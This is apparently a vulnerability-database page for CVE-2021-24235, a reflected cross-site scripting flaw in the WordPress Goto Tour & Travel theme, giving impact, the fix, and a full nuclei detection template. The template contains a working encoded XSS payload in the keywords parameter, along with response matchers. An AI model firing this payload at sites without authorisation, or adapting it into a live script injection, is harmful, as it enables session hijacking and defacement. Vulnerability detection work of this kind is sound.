HexBrain

Browse / CVEs / CVE-2021-24235

CVE-2021-24235· boostifythemes / goto· CWE-79

WordPress Goto Tour & Travel Theme <2.0 - Cross-Site Scripting

mediumseverity
6.1CVSS score
2.9%likelihood of exploitation, next 30 days
87%of all CVEs are less likely
Readycheck to confirm it

WordPress Goto Tour & Travel theme before 2.0 contains an unauthenticated reflected cross-site scripting vulnerability. It does not sanitize the keywords and start_date GET parameters on its Tour List page.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement.

Fix

Update to the latest version of the WordPress Goto Tour & Travel Theme (>=2.0) to mitigate the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/tour-list/?keywords=%3Cinput%2FAutofocus%2F%250D*%2FOnfocus%3Dalert%28123%29%3B%3E&start_date=xxxxxxxxxxxx&avaibility=13
Positive when: contains "input/Autofocus/%0D*/Onfocus=alert(123);" and "goto-tour-list-js-extra" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24235 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-24235

info:
  name: WordPress Goto Tour & Travel Theme <2.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Goto Tour & Travel theme before 2.0 contains an unauthenticated reflected cross-site scripting vulnerability. It does not sanitize the keywords and start_date GET parameters on its Tour List page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of the WordPress Goto Tour & Travel Theme (>=2.0) to mitigate the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/eece90aa-582b-4c49-8b7c-14027f9df139
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24235
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24235
    cwe-id: CWE-79
    epss-score: 0.02914
    epss-percentile: 0.87116
    cpe: cpe:2.3:a:boostifythemes:goto:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: boostifythemes
    product: goto
    framework: wordpress
  tags: cve2021,cve,xss,wp-theme,wpscan,wordpress,boostifythemes,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/tour-list/?keywords=%3Cinput%2FAutofocus%2F%250D*%2FOnfocus%3Dalert%28123%29%3B%3E&start_date=xxxxxxxxxxxx&avaibility=13'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "input/Autofocus/%0D*/Onfocus=alert(123);"
          - "goto-tour-list-js-extra"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from